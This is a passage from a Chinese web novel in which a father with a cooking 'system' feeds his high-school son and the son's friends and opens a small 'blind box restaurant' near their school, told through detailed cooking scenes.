“好好吃的芋头饼，不甜不腻，香得我差点没咬到舌头。”胡一齐说完双手各拿一个芋头饼继续吃起来。 外面卖的芋头饼为了颜色好看、降低成本，有些会掺紫薯进入，并不是纯粹的芋泥。楚易文做的不光没有惨乱七八糟的东西，糖放的也少，芋头本身的甜味与糖的甜味相融合，恰到好处的甜与蛋黄的咸达成完美平衡，加上油炸的火候到位，吃起来自然香。 “你给叶其林他们留点。”见他比自己还能吃，楚瑾钰边说边用盒子分出来几个，省得另外两人没早餐吃。 说曹操曹操到，叶其林进教室就听见这句，立刻道：“胡一齐，你吃早餐不给我留是不是？” 他们吃得是香了，可把班上其他同学给馋到，有人直接从书包里摸出面包来解馋。 早读到一半时，班主任来到教室，刚进门就闻见股还没完全消散的香味。 “楚瑾钰，你又在教室里吃早餐！” 楚瑾钰直接不吱声，任班主任说。 班主任说他几句后，到底还是没忍住问：“你早上吃的什么？”这么香。 “我爸做的煎芋头饼和蛋黄芋头饼。”楚瑾钰道。 美味早餐带来的好心情，只够楚瑾钰他们维持到上午前两节课，到第三节课时，楚瑾钰就有点想往桌上趴。 其实想想也能理解，本来星期一就是学生们最讨厌的日子，更别说进入高三后变成单休，而且这单休有一半多时间要拿来做作业，简直跟没放假一样。 楚瑾钰在学校里上课上得挺痛苦时，楚易文上午过得倒是挺悠闲，先趁早去菜市场买点菜，再去河边钓会鱼，快十点时回家准备午餐。 早上做芋头饼还没把芋头用完，中午他准备做个芋头烧排骨。秋天本来就是吃芋头的季节，忽略削芋头皮时黏液可能会痒手，芋头的清香还挺好闻。 楚易文将芋头切成滚刀块后放到水里先泡着，防止芋头氧化颜色没那么好看。芋头处理好，他将买回来的肋排切小块后焯水去腥。 别说，系统提供的刀具就是好用，不管是切菜还是切肉，那手感，简直别提多顺手。 食材处理好，楚易文开始起锅烧油，先将排骨稍微煸一下，随着多余油脂被煸炒出来，排骨表面微微变色，同时散发出油润光泽。 将排骨煸至表面金黄后他用锅铲轻轻一推，将排骨推到锅边缘，随即往锅底丢下适量冰糖，开始炒糖色。炒糖色对如今的他来说，简直闭着眼睛就能通过嗅觉炒出完美的糖色，在冰糖融合开始冒枣红色泡泡时，他手里锅铲轻轻一推，排骨推进糖浆中，很快就均匀裹上糖色，变得更加诱人。 肉的焦香配上冰糖产生的焦糖，菜还没做好，香味已经很诱人。等到他开始加入葱、姜、蒜、八角、香叶等调料开始爆出香味时，厨房里香气更加有层次感。 随着排骨香味越来越浓郁，楚易文沿着锅边淋入一圈料酒，高温让料酒发出“嗤啦”一声，一部分直接蒸发进空气中，一部分融入菜里。随着他又加入生抽、老抽等调料，原本带着焦糖气息的排骨又添上抹酱香。 经过冰糖和老抽两重上色，锅里排骨已经变成漂亮的琥珀色，他又翻炒两下，顺手往锅里加入热水开始炖煮。 大火烧开后转小火，在小火慢炖过程中，楚易文也没闲着，继续去做其他菜。 等两个小炒出锅，排骨也炖得差不多，他将早就准备好的芋头倒进排骨中，翻炒几下让每块芋头都裹上汤汁后继续小火炖煮。 在锅里汤汁咕噜咕噜冒泡时，排骨醇厚的肉香与芋头特有的清香逐渐融合，飘出一股格外诱人的香气。闻见这股香味，楚易文自己都有点被馋到，在锅里掀开时尝了口芋头，完全炖透的芋头吃起来粉糯绵软，轻轻一抿就在嘴里化开。 芋头吸收肉汁和酱料的精华，吃起来鲜美浓郁，咸鲜中带着食材特有的清甜，好吃到他不住点头，觉得桐县的芋头是真不错，不管拿来做芋头饼还是炖排骨都特别好吃。 午餐准备好，他熟门熟路开车去学校给几个孩子送饭。 只能说人都是有惰性的，明明最开始时楚瑾钰都是回家吃饭，自从楚易文开始送饭后，他就越来越懒，如今基本上都是跟叶其林他们一起在学校等他爸送饭。 高三学习压力还是挺大，可能脑子动多了容易饿，还没到放学时间，胡一齐肚子已经咕咕叫起来，放学铃声一响，他跑得比谁都快。 “楚爸！” 胡一齐跑到学校门口看见楚易文时，他比看到自己亲爸还要亲。 跟在后面的楚瑾钰见他扯着嗓子喊得周围人都听见，用一种没眼看的表情望着他。 “楚爸，你早上做的芋头饼真好吃！” 提起这个话题，叶其林、商时贸都跟着夸了几句，说他做的芋头饼吃起来一点都不油腻，特别香。 “你们喜欢吃就好，中午做了芋头烧排骨。”楚易文边说边将午餐递过去。 楚瑾钰边接过其中一个袋子边好奇道：“爸，昨天你说我们家在学校附近有商铺，在哪啊？” “马路对面有一个。”楚易文先指向对面，随即又指着校门口左边，“那边还有一个。” “哪个啊？”胡一齐好奇心也重，立刻往左边走出去几步。 见几个孩子都好奇，楚易文指着某家店道：“就是那家卖麻辣香锅的，不知道为什么忽然就不续租了。” “是那家啊，我好像知道为什么。”胡一齐见是那家麻辣香锅，也不卖关子，立刻告诉他自己知道的情况，“那家店以前还挺好吃，自从老板他爸妈过来帮忙后，食材越来越不新鲜，而且在店里吃饭时，多用几张纸巾老板他爸妈就会骂人……” 自从楚易文给他们送饭后，胡一齐已经很久没在外面吃饭，他之所以会知道，还是在学校贴吧里看到好多人发避雷帖子。 叶其林：“我之前也听班里同学骂过他们家，说是去店里吃麻辣香锅多加了点辣就被骂了。” “原来是这样。”楚易文算是明白过来，“那看来他们是一定不会续租了，我明天就找中介帮忙挂出去找新租户。” 本来学校边生意有固定客源，不会太难做，但自己作死那就没办法。学生们都被得罪，那家店绝对开不下去，楚易文觉得自己也没必要再等。 胡一齐：“楚爸，以你这手艺，干嘛不自己开店。” “开店多累啊，我爸现在这退休日子多爽。”楚瑾钰语气里透着羡慕，显然如果可以，他恨不得跟他爸换一下。 胡一齐：“也是。” 他就随口那么一说，楚易文却是真思考起来，觉得好像也不是不行。 楚易文倒不指望靠开店赚钱，但他觉得这个商铺的位置挺好。 上周时孩子们就抱怨过，说老师留堂，导致去食堂时正赶上吃饭高峰期，差点没位置坐。他想着如果在学校门口做饭，从学校出来走两步路就到，几个孩子出来就能直接吃饭，省得再往食堂跑。 离那个店铺到期还有半个月，他觉得也不急，可以先想想。 楚易文开车回家时，几个孩子拿着午餐来到食堂，好多位置都已经有人，只能找个角落坐下。 餐盒打开，芋头烧排骨的香味瞬间烧出来，排骨浓郁的肉香、芋头特有的清香、酱香以及淡淡辛香扑鼻而来，光是闻着就令人食物大开。 “哇哦~”胡一齐望着油润光泽的排骨，还有吸收酱汁表面微微红亮的芋头，感觉看着就特别好吃。 小火焖煮时，有不少芋头被煮进汤汁中，让汤稍微有些浓稠，此时挂在每块食材上，卖相格外诱人。 早上的芋头饼实在太美味，以至于此时看到芋头烧排骨，胡一齐难得没先吃肉，而是握着筷子夹起块芋头。 筷子夹上去时微微陷入芋头中，绵软的芋头包裹着筷子表面，好在没有被直接夹断。在送到嘴边时，芋头特有的清香混着肉香直往鼻子里钻，让他迫不及待咬上去。 经过炖煮，芋头口感特别软糯，尤其是表面那层吸收汤汁，直接在嘴里化开，芋头本身的清甜和汤汁的咸鲜在味蕾上蔓延开来，余味悠长。 长时间的焖煮让排骨的油脂被炖进汤里，汤的精华又被芋头吸收，微微的油脂喊让它吃起来粉糯绵软却一点都不噎人。 胡一齐被芋头的味道给惊艳道：“唔，我感觉这芋头比肉还好吃！” 他说完立刻又夹一块芋头整个塞进嘴里，感受着芋头在嘴里化开的滋味，好吃到眼睛都眯起来。 楚瑾钰看到他吃得那么香，端起饭夹块芋头进碗里，刚咬一口眼睛就亮起来，发现确实比肉还香，还好吃。 看来张望乙那小子没骗我，他家那边种的芋头确实好吃。 楚瑾钰想到他爸之前做过芋头烧鸡，但当时那个芋头虽然好吃，却比今天要差点味道，觉得怪不得张望乙要从桐县给他寄芋头。 “芋头确实好吃，这粉糯的口感简直绝了！”叶其林吃完也没忍住夸。 楚瑾钰：“这可是人家专门从桐县给我寄的芋头，当然好吃了。” “桐县？你跟楚爸之前去救灾的地方，不错嘛，都过去那么久，竟然还有人给你寄芋头。” 几人连吃好几块芋头，终于将筷子伸向排骨。 略微带点肥的肋排经过长时间炖煮，已经特别酥烂入味，肥肉部分多余的油脂被炖化，吃起来肥而不腻。吸收芋头的清香后，整块排骨酱香浓郁中带着一丝回甜，那抹淡淡的甜味来自芋头，既中和排骨的油腻，又让它吃起来味道更加丰富。 “排骨也好好吃，太香了！” 胡一齐啃完排骨，连骨头都舍不得立刻吐出来，在嘴里咀嚼几下，直到把上面味道都吃没菜舍得吐出来。 酥烂入味的排骨，粉糯绵软的芋头还不是这道菜的极限，它的汤汁同样美味，吸收肉香芋头香的汤汁浓稠油润，用来拌饭吃那叫一个香。 九月正是吃芋头的季节，今天学校食堂也有芋头烧肉，看起来倒是酱香浓郁，不过卖相跟楚瑾钰他们桌上的芋头烧排骨一比，简直货比货得扔。 有同班同学忍不住端着餐盘过来做对比，随即叹气道：“同样的芋头，为什么食堂就不能做好吃点？” 楚瑾钰可能是好奇心上来，用自己面前的芋头跟他换了块，一吃就发现，食堂手艺是真敷衍，芋头根本没入味，吃起来不够绵软就算了，甚至有点噎人。 “怎么样？”胡一齐看着他问。 楚瑾钰摇头：“不好吃，能把人噎死。” 他有多嫌弃，同班同学吃着跟他换的芋头，表情就有多享受：“太好吃了，软糯又入味，原来不是芋头不好吃，而是做的人手艺不行！” 胡一齐又往嘴里塞口芋头，边吃边道：“楚爸不是有拍视频吗？实在不行，谁@一下食堂的厨师，让他们学着点啊。” “切，你觉得他们有那么勤快吗？而且做得再难吃又不用他们吃。”叶其林道。 接下来几天，楚易文将给张望乙的回礼寄往桐县后，每天不是钓鱼就是给几个孩子准备一日三餐，时不时再剪剪视频，回复一下粉丝评论，日子过得悠闲又充实。 星期五的下午，他照常给几个孩子送饭，结果在校门口等了十几分钟还没看到人出来。还好他已经在门卫那混个脸熟，好歹不用站着等，而是坐在门岗旁边。 “估计是老师留堂了，高三就是这样，经常延迟放学。”门卫在学校已经干了好多年，很有经验地对他说。 楚易文点点头，跟门卫有一句没一句闲聊着，又等几分钟后，终于看到几个孩子的身影从学校里出来。 “数学老师太烦人了！非要把卷子讲完，我真是服了！”胡一齐刚出来就忍不住抱怨，抱怨完还不忘贴心地问，“楚爸，你是不是等好久了？下次老师要是再留堂，我偷偷给你发条消息，你可以不用那么早过来。” “别，你好好上课就行，我没等多久。”楚易文可不想他上课玩手机，万一被老师抓到，那就更尴尬了。 他话落，楚瑾钰道：“懒得去食堂了，直接在门口吃吧。” “行。”叶其林他们都懒得再往食堂跑，决定就在校门口吃。 其实在学校门口吃饭的学生有不少，都是家长带着折叠桌椅过来，找个空地让他们坐着吃。 楚瑾钰几人无所谓有没有桌子，直接走到学校旁边的栏杆旁，将饭菜打开。 “来，放桌上吃。”楚易文后备箱有钓鱼时用的折叠桌，直接拿过来给几个孩子用，至于折叠椅，车里只有两个，他从门卫那边借了两个过来。 可能是饿了，四个孩子围着折叠桌，吃得那叫一个狼吞虎咽。 “慢点吃。”看到他们那个吃饭速度，楚易文都有点怕他们噎着，心里那个直接在校门口做饭的念头再次升起来。 这一周结束后，他在学校门口等的次数加起来已经超过五次，其中最长那次等了差不多二十分钟。 周末当天，楚易文忍不住跟几个孩子商量，问他们自己在校门口做饭怎么样。 “我觉得挺好的！” 胡一齐闻言，不假思索地举手支。 商时贸：“楚爸你是单纯把那里当厨房用，还是准备顺便卖饭？” “既然要做，我准备顺便多炒几个菜，把水电费和食材赚回来。” 楚易文是这样想的，每餐用稍微大点的锅炒六七个菜，再蒸锅米饭炖点汤，这样几个孩子们每顿能多吃几样菜，多余地卖出去还能抵水电、食材的费用。 听完他的想法，楚瑾钰道：“这样爸你会不会太累啊？” “还好吧，就饭点时炒几个菜，下午还能去钓鱼。” 楚易文想着上午买菜备菜，中午等孩子们吃完饭他就可以该干嘛干嘛去，下午四点前再过来做顿饭，感觉还好。 说到钓鱼，他又想到一个开店的好处：“正好我钓的鱼也不怕吃不完了。” 之前他有时候运气好，一下午就能钓好多鱼，家里吃不完只能拿去送人，或者做成鱼干喂猫。现在如果开店的话，钓到的鱼直接就能消耗掉。 “如果楚爸你不觉得累的话，我感觉还挺好，以后吃饭更方便了，还可以每顿多吃几个不同的菜。”胡一齐语气里透着兴奋，说完又想到什么，“楚爸，这样的话我让我爸按月给你交生活费！” 叶其林、商时贸二人闻言，立刻跟着点头。 “不用。”楚易文立刻拒绝。 胡一齐：“我爸的钱，不要白不要，实在不行，楚爸你要过来我们对半分也好啊！” 楚易文被他逗笑，想到他跟他爸的关系，最终道：“行吧，要过来都给你，就当是我给你的零花钱。” “楚爸你真好！楚爸万岁！”胡一齐说完嘿嘿笑起来，“楚爸你的手艺比五星级大厨还好，我觉得一个月收个三千应该不过分吧！” “少了，酒店一顿饭都不止三千，我觉得应该要六千八百八十八，凑个吉利数。”楚瑾钰道。 叶其林：“我家做饭阿姨一个月都有一万多工资，时不时我妈还给她发红包，我觉得应该收两万。” 楚易文见自己店还没开起来，他们就敢将价格定到包月两万，一时又好笑又无奈。 聊到开店，几个孩子比他还兴奋，从包月多少钱很快聊到店铺名字上去，又发散到卖给其他人每道菜该怎么定价。 “那就都交给你们了。”想店名、给菜定价其实挺费脑子，见他们愿意去研究，楚易文求之不得。 第65章 白萝卜烧鸡翅 楚瑾钰四人一通讨论, 最终定下个比较抽象的店名——盲盒餐厅。 原因很简单，因为楚易文说了，开这里店主要目的不是为了赚钱, 而是给他们做饭时顺便卖点多余的菜。四人想到他们并不是每天都吃饭菜，有时候会吃面，有时候会吃卷凉皮，还有时候会吃炸鸡，觉得每天没有固定菜单，那不就跟开盲盒一样。 盲盒餐厅光是想想就很有趣，如果有这种店, 他们觉得自己肯定会光顾，纷纷觉得自己简直是个天才。 听到这个店名，楚易文感觉不是很理解他们年轻人, 不过既然说好让他们取，他哪怕不理解，还是选择尊重。 店铺目前还没腾出来, 不过照那家店现在生意几近于无的情况下看，估计也快了, 楚易文觉得可以抽时间先把营业执照什么的跑一下。 “班里人要是知道楚爸会在学校外面开店，怕不是要乐疯。” “确实，之前我们每次吃饭时，他们那个眼神, 简直恨不得上来抢，如果知道这件事，做梦都能笑醒。” 确定楚易文真要在校外开店，几个孩子比他本人还兴奋，边写作业边讨论, 简直恨不得明天店就开起来。 哪怕是自家商铺，想开店也没那么快，九月中旬，生意做不下去的原店主彻底腾空店铺退租。楚易文收到钥匙后抽空去检查，大堂看起来还好，里面厨房简直看得他直皱眉，只见墙面和角落里到处都是陈年油垢，看起来又脏又油腻。 楚易文想到自家儿子曾经也吃过这家店，再脑补一下其他店卫生情况可能和这差不多，简直有些反胃。 店铺里不光卫生，布局什么的都要重新弄，下午他就先联系人过来搞卫生，自己则回家给几个孩子做饭。 “楚爸怎么样，什么时候能开店？” 下午放学他送饭过来，胡一齐立刻期待地问。 “铺子收回来了，正在让人搞卫生，同时装修还得重新弄，估计全部搞完，得到国庆后才能正式开业。”楚易文道。 “啊……”胡一齐有点小失望。 商时贸：“啊什么，开店又不是过家家，国庆后能开业已经很快了。” 胡一齐觉得他说得有道理，想到国庆后就可以直接出来吃饭，脸上忍不住露出笑容。 “爸，确定就用盲盒餐厅这个名字了吗？”楚瑾钰问。 楚易文点头：“对啊，你们不是都说这个名字好。” 在校门口闲聊几句后，很快楚瑾钰他们就拎着晚餐去食堂吃饭。今天菜色依旧很诱人，有啤酒鸭、豆腐酿肉、松仁玉米、海带排骨汤。 啤酒鸭就不用说，那略带胶质感的鸭皮和酥烂入味的鸭肉，以及余味中淡淡麦芽香，每次吃都令楚瑾钰几人赞不绝口。松仁玉米清甜爽脆，玉米的清甜中带着松仁特有的坚果香，吃起来清爽又好吃。 豆腐酿肉更是卖相诱人，豆腐被煎得表面金黄，内里塞着肉馅，两种不同的焦黄看着就令人食欲大开。苦瓜酿肉和青椒酿肉都是蔬菜的爽脆包裹肉馅的鲜嫩细腻，豆腐酿肉则是表面微焦，内里是两种不同的嫩，豆腐细嫩中带着浓郁豆香，肉馅则是鲜嫩多汁，两种融合在一起，好吃到令人上瘾。 叶其林：“这个豆腐酿肉真好吃，咬下去时肉馅都带着汁水。” “感觉不管什么食材酿肉都很香。”楚瑾钰道。 商时贸想到苦瓜那么令人避之不及的食材酿肉都变得好吃起来，赞同地点头。 当天晚上，楚瑾钰回家时，先又问了一下店铺的事，随即告诉他，张望乙给他发消息了，说收到快递，他好不容易才让家里人给他办了手机卡。 “他听到我说芋头好吃，还想再给我们寄，我赶紧说已经吃够了，叫他不用寄……爸你知道他快递费怎么来的吗？是他暑假捡纸壳卖的钱一点点攒起来的……”楚瑾钰想到自己从小学开始就有零花钱，从小到大就没为钱烦恼过，对比之下，忽然有点小心虚。 想到之前他还抱怨他爸不管他，可实际上，比起张望乙又没钱又没有父母陪伴，其实他已经很幸福，他爸再忙，从小到大也一直在他身边，钱更是没少过他。 楚易文闻言，没觉得张望乙可怜，反而觉得这孩子很棒，愿意为自己想做的事而努力。 父子二人聊了会张望乙，楚易文自己小时候也是从苦日子过来，并没有太大感受，倒是楚瑾钰，心里小小反思了一下自己。 * 月底，天气渐渐开始变得凉爽起来，与此同时，店铺装修已经搞完。由于楚易文只是准备在儿子读高三这段时间开会店，装修他只是简单改造一下，所以才能那么快完工。 改造过后的店铺整体颜色是蓝白搭配，看起来干净简单，大堂内靠两边墙面各摆着六张桌子，厨房里面焕然一新，已经完全看不出之前的油腻。 国庆假期当天，楚瑾钰他们终于有空一起过来店铺查看，感觉装修有点简单，不过越看越顺眼。 “爸，这张是我们的专属桌子吗？”楚瑾钰发现在靠近厨房边有张单独的桌子，不由道。 楚易文点头：“对。” 他开店本来就是为了方便几个孩子吃饭，肯定得将他们的位置单独留出来。 胡一齐闻言立刻道：“楚爸你真好！” 店铺其实没什么看头，就分里外两个部分，里面是厨房，外面是大堂，靠近门边放着收银台和一个饮料柜。不过想到这是自家店铺，楚瑾钰是越看越喜欢，甚至看完都不回家，非要在店里做会作业。 难得儿子主动提出做作业，楚易文求之不得，见他们表情都带着点小兴奋，干脆道：“等过两天米面粮油什么的都准备好，我们先在店里一起吃顿饭庆祝一下。” 几个孩子听到这个提议纷纷叫好，不过很快，楚瑾钰想到今年国庆节只有可怜的三天假，又忍不住叹气。 “学校太过分了，凭什么国庆节高三就只配放三天假！” “就是！”胡一齐同样很不爽，“只放三天假就算了，还布置那么多作业。” 见他们又开始抱怨假期，楚易文也无能为力，只能询问他们中午想吃什么，给他们做几个好菜安慰一下。 三天假期确实少得可怜，楚瑾钰他们都没怎么玩，很快就到最后一天。 店内米面粮油已经送过来，楚易文又采购点食材，带着他们一起来店里吃饭，算是给新店开锅。 店铺厨房没比他家厨房大多少，不过这里的灶台和锅都很大，而且还有冰柜、橱柜和超大电饭煲。 “哇，这个电饭煲也太大了，蒸一锅饭够多少人吃啊？”胡一齐注意到那个大电饭煲，忍不住伸手去抱。 楚易文：“卖电饭煲的说这是最大号，蒸满一锅够四五十个人吃。” “那我们几个人也用这个电饭煲吗？”楚瑾钰好奇。 五个人用这么大电饭煲反而不好蒸饭，楚易文又不傻，店里自然还准备了小电饭煲。 用小电饭煲将米饭先蒸上，他拿出砂锅先开始炖汤。又到吃藕的季节，他在码头菜市场那边买了不少莲藕，随便一根切开都透着新鲜。 莲藕排骨汤先在砂锅里炖上，随即他又开始做萝卜烧鸡翅。 楚易文将洗干净的鸡翅表面划两刀，方便待会做的时候更入味，划完加姜片、料酒焯水去腥。 鸡翅焯完水捞出来沥干备用，他又开始处理萝卜，接过儿子帮忙削好皮的白萝卜，他握着刀刷刷刷几下就切成漂亮的滚刀块，刀快得闪出寒芒。 商时贸在旁边用手机拍着视频素材，调整角度将他的刀工水平完美记录下来。 “哇~楚爸切菜看起来简直像艺术！”胡一齐可能是怕影响他切菜，压低声音发出夸夸。 几个孩子作业已经做完，见他们非要围在厨房里凑热闹，楚易文也懒得赶人。 白萝卜切好，他开始起锅烧油，先将鸡翅下锅，等将鸡翅多余油脂煎出来，煎到两面金黄时，一股焦香从锅里飘出来。 商时贸轻嗅两下香味，直接给锅里色泽诱人的鸡翅来了个特写镜头。 随着他将镜头拉近，楚易文将煎好的鸡翅推到锅边缘，用底油开始爆香调料，葱、姜、蒜、干辣椒香味煸炒出来后，他将鸡翅推回去，轻轻翻炒几下，随即快速在锅边淋上一圈料酒。 料酒碰上高温的铁锅，发出“嗤啦”声，他快速翻炒几下后又下入生抽、老抽、蚝油，很快就让原本金黄色的鸡翅染上酱色，同时一股酱香混着辣味一起飘出来。 光闻鸡翅味就已经馋到厨房里几个孩子，等到楚易文将白萝卜下进过来翻炒，加水开始炖煮时，小火慢炖产生的香味，简直不要太诱人。 胡一齐忍不住发出感叹：“楚爸你也太会做了，感觉你做什么菜都特别香！” 鸡翅的焦香、肉香和白萝卜的清爽融合在一起，再加上调料的酱香微辣，菜还没出锅，就令人嘴里不停分泌口水。 楚易文笑了下没说话，让白萝卜烧鸡翅在锅里慢慢炖着，自己转头又开始做糖醋鱼。 鱼是他自己钓的，不算大也不算小，有三斤多，处理干净后先煎成两面焦黄，再淋上糖醋汁，完美的火候把握加上绝佳的调味，等到鱼出锅时，简直香飘十里。 哪股诱人的糖醋香混着鱼鲜味，闻起来就特别开胃，如果不是整条鱼不好偷吃，胡一齐跟楚瑾钰都想先来两口。 “好想吃啊，这鱼看着就好吃，连鱼尾巴都煎得焦焦的。”胡一齐望着糖醋鱼，喉咙不自觉吞咽着口水。 楚瑾钰闻言直接将他拉开，怕他把口水掉上去，导致大家吃不成。 他们两个拉拉扯扯时，楚易文已经开始做下一道菜，肉末茄子，漂亮的紫皮茄子切成长条，放入盆中稍微用盐腌一下，将多余水分杀出来，这样既能去除茄子的生涩味，还能在炒的时候让茄子少吸点油。 茄子腌制过程中，他开始处理肉末，肉末去腥调味加点淀粉腌制一下，待会做好吃起来会更嫩。 茄子和肉末都腌制好，楚易文起锅烧油先爆香葱姜蒜，小火爆出香味后，将肉末下进去快速滑炒，炒到多余油脂被煸出来，锅边淋半勺料酒去腥。 炒肉末散发出的香叶让胡一齐肚子开始咕咕叫起来，声音大得引来楚瑾钰的嘲笑。 与此同时，楚易文将茄子下进锅里，开始调味焖煮。 肉末茄子出锅，他又做了个孜然牛肉、辣椒炒蛋、蒜蓉生菜就可以开始吃饭。 当所有饭菜上桌时，白萝卜烧鸡翅、糖醋鱼、孜然牛肉、辣椒炒蛋、肉末茄子、蒜蓉生菜、莲藕排骨汤，那叫一个香气四溢。 还没吃，光是看着这桌色香味俱全的菜肴，楚瑾钰四人就已经感受到什么叫作幸福。面对这么多美食，此时连明天就要上学对他们来说都不算什么事。 白萝卜烧鸡翅楚易文是第一次做，他坐下来后就招呼几个孩子道：“尝尝这道鸡翅合不合口味。” 鸡翅先煎再烧，此时呈现金黄与红润交织的颜色，看起来就特别诱人，白萝卜经过炖煮变得晶莹剔透，吸收汤汁后带着淡淡琥珀色，看着就特别入味。 他话落，楚瑾钰四人纷纷朝白萝卜烧鸡翅下筷子。 浓稠的汤汁挂在鸡翅上，刚咬上去就感受到浓郁的咸鲜味，由于炖之前先煎过，鸡翅软嫩脱骨的同时，表皮带着微微煎香，吃起来特别有滋味。 胡一齐：“好吃，没想到萝卜还可以和鸡翅一起烧着吃，太香了！” 鸡翅的肉香中带着淡淡萝卜清香，让它吃起来咸鲜浓郁，不腥不腻，尤其是鸡翅表面那层皮，由于煎制过，口感略带煎韧，吃起来特别香。 “很好吃，又香又入味，连骨头都是鲜的。”楚瑾钰并不是单纯夸赞，他是真忍不住将鸡翅骨头都直接咬碎。 跟红烧鸡翅比起来，白萝卜烧鸡翅整体口味要清淡些，但吃起来香味却是很浓郁。 商时贸：“不光鸡翅好吃，里面萝卜也很好吃。” 肉菜中的素菜往往才是这道菜的灵魂，比如栗子烧鸡里的栗子，芋头烧排骨里的芋头。白萝卜经过炖煮变得格外软糯，吸收鸡翅的肉汁和酱汁的精华后吃起来鲜美中透着食材本身的清香，咸鲜中带着回甜，简直不要太美味。 叶其林赞同地点头：“萝卜确实好吃，多吃两口后，感觉比肉还香。” 他说完又夹起一块，都不用怎么咀嚼，轻轻一抿萝卜就在嘴里化开，它吸收的汤汁精华和食材本身的清甜瞬间在味蕾上蔓延开，咸中带鲜，鲜中回甜，直接吃好吃，配米饭吃更香。 他还在感叹萝卜比肉好吃，胡一齐已经将筷子伸向那盘垂涎多时的糖醋鱼。 糖醋鱼表面裹着酱汁，卖相看起来就特别诱人，筷子碰到鱼身时，能感受到鱼表面的焦脆。 他夹一筷子鱼塞进嘴里，皮焦肉嫩，酸甜味恰到好处，吃起来简直令人上瘾。 胡一齐特别喜欢鱼表面那股焦香的口感，吃得眼睛都亮起来，不停夹着鱼肉往嘴里塞。 “慢点吃，小心鱼刺。”楚易文看到他吃得那么快，忍不住提醒。 他话落，楚瑾钰三人也注意到胡一齐，赶紧都开始吃鱼，生怕慢了被他吃光。 煎得表皮焦脆的糖醋鱼确实香，那外焦里嫩的口感，那酸甜适中的滋味，好吃到几个孩子连鱼尾巴都不放过。 他们正吃着，诱人的香味早就顺着大门飘出去，越飘越远。 现在正是国庆假期，学校周围店铺基本都关门，特意来这边的人不多，但正常路过的行人还是有不少。 有两个路人闻见香味，有被馋到，不由顺着香味寻找起来，很快就找到盲盒餐厅门口。 “盲盒餐厅？这名字真有意思，要不我们晚饭就在这家吃？” “行啊，闻起来还挺香。” 二人是来云市旅游的大学生，本来是奔着附近小吃街过来，结果却忘记，假期学校附近小吃街根本不营业，算是白跑一趟。 此时发现这家店，她们感觉可以尝试一下，于是走进店里。 楚易文最先发现有人进来，先是有些诧异，随即反应过来什么，开口道：“不好意思，店里还没开始营业。” 两个女生闻言有些失望，尤其是进来后看到那桌诱人的饭菜时。 “那什么时候营业？” 人就是这样，越是吃不到的东西越想吃，她们想到小吃街没吃成，好不容易发现一家还不错的店又没得吃，感觉今天实在有点倒霉。 “明天。” 楚易文说完可能是注意到她们脸上失望的表情，想想开口道：“你们喝汤吗？送一份莲藕排骨汤给你们尝尝。” “可以吗？” 听到她们惊喜的声音，楚易文直接去厨房把砂锅里剩下的莲藕排骨汤盛了两碗出来递给她们。 “谢谢老板，多少钱，我们还是自己买吧。” 两个女生看到他端过来满满两大碗汤，不好意思白吃。 “没事，我们正在庆祝新店开业，你们过来也是缘分。”楚易文又不差两碗汤的钱，直接将汤放到旁边桌上，随即怕她们不好意思，转身回自己位置上去。 他刚重新坐下，胡一齐就抬头道：“楚爸，你做的肉末茄子真下饭！” 深紫色茄子配上酱红色汤汁，卖相看起来就很诱人，吃起来更是香。茄子充分吸收汤汁，吃起来咸鲜浓郁，茄子的软糯绵密，和肉末的鲜香，简直是绝配。 茄子皮略带几分韧劲，茄子肉则是入口即化，肉末香而不柴，吃起来很有嚼劲，再搭配上酱香浓郁的汤汁，光这道肉末茄子，胡一齐就能干掉整碗饭。 胡一齐夸完就开始埋头干饭，楚瑾钰则是在吃蒜蓉生菜，其实以前他不是很爱吃生菜，总觉得生菜有股说不出来的味，但此时吃着他爸做的蒜蓉生菜，他却忽然get到生菜的美味。 蒜蓉香去除生菜的土腥气，让它吃起来清脆爽嫩，盐的咸味让整道菜口感特别浓郁，让人有种越吃越上瘾的感觉。 他们这桌吃得正香时，旁边桌上，两个女生喝着莲藕排骨汤，眼睛都亮起来。 楚易文手艺先不说，食材都是用的最新鲜的，尤其是还用砂锅小火慢炖，炖出来汤那叫一个鲜。 “好好喝啊！没想到云市这边的汤这么好喝！” “确实，汤鲜甜又清爽，我才知道原来莲藕排骨汤那么好喝！” 清亮微白的汤里卧着淡粉色莲藕、浅褐色排骨，整体卖相看起来就格外诱人，喝起来更是令人惊艳。 连喝几口汤后，她们开始夹起莲藕吃起来，粉糯绵密的莲藕表面带着汤汁的咸鲜，咀嚼间食材本身的清甜在味蕾上弥漫开来，简直不要太好吃。 发现不光汤好喝，连里面煮汤的食材都那么好吃，她们开始期待起排骨的味道来。排骨并没有令她们失望，轻轻一咬肉就从骨头上脱落下来，肉质软烂却不柴，咀嚼间肉香浓郁。 半碗汤下肚，两位女生终于忍不住开口夸道：“老板，你炖的汤也太好喝了！我从来没喝过这么好喝的汤！” 她们那边对喝汤没那么多讲究，以前听外地同学用鲜甜来形容汤，她们根本无法理解，毕竟鲜和甜凑在一起，怎么听都感觉不会好喝。但今天，喝着美味的莲藕排骨汤，她们算是明白什么叫鲜甜。 “你们喜欢喝就好，锅里还有，用不用给你们加点？”楚易文道。 “谢谢老板，不用了，这碗就够喝了。” 两个女生哪好意思继续占便宜，纷纷摆手表示不用，同时心里决定明天一定要过来吃饭。 她们汤快喝完时，又有两批路人被香味吸引过来，得知还没开始营业，只能失望离开。 楚易文见此，在两个女生喝完汤离开后，赶紧起身先将门关起来，免得不停有人过来问。 第66章 水煮肉片 见还没开业就有那么多路人被吸引过来, 胡一齐忍不住道：“楚爸，以你的手艺，我估计等明天肯定一堆人过来抢着吃饭。” 如果是靠开店赚钱的老板, 肯定希望顾客多多益善。但对于楚易文来说，他主要是给自家正在高三关键期的儿子做饭，倒不希望来那么多顾客。 “还是别了，我也没准备做太多菜。”楚易文道。 店门关上没多久，很快桌上菜全部被吃光光，楚瑾钰吃完碗里最后两口饭，伸手摸着有点撑的肚子, 脸上露出满足的表情。 自从拥有系统，楚易文对做菜兴趣越来越浓，但洗碗他是真不喜欢, 特意在店内配备了商用洗碗机。 见几个孩子吃饱喝足，他顺手就将碗盘收拾进洗碗机里，至于桌上和地面, 不用他开口，几个孩子已经自觉收拾干净。 从店里离开时, 楚瑾钰忍不住回头去看店铺招牌，想到接下来每天能在自家店吃饭，心情很是愉悦。 胡家。 胡一齐回到家终于看见他爸，难得热情地喊了声“爸”, 让胡父都有点受宠若惊。 听到他要伙食费，胡父二话不说就拿起手机道：“要多少钱？” “两万。” “多少？”胡父先是怀疑自己耳朵出问题，随即以为他是想要整个学期的伙食费，开口道，“你一个学生, 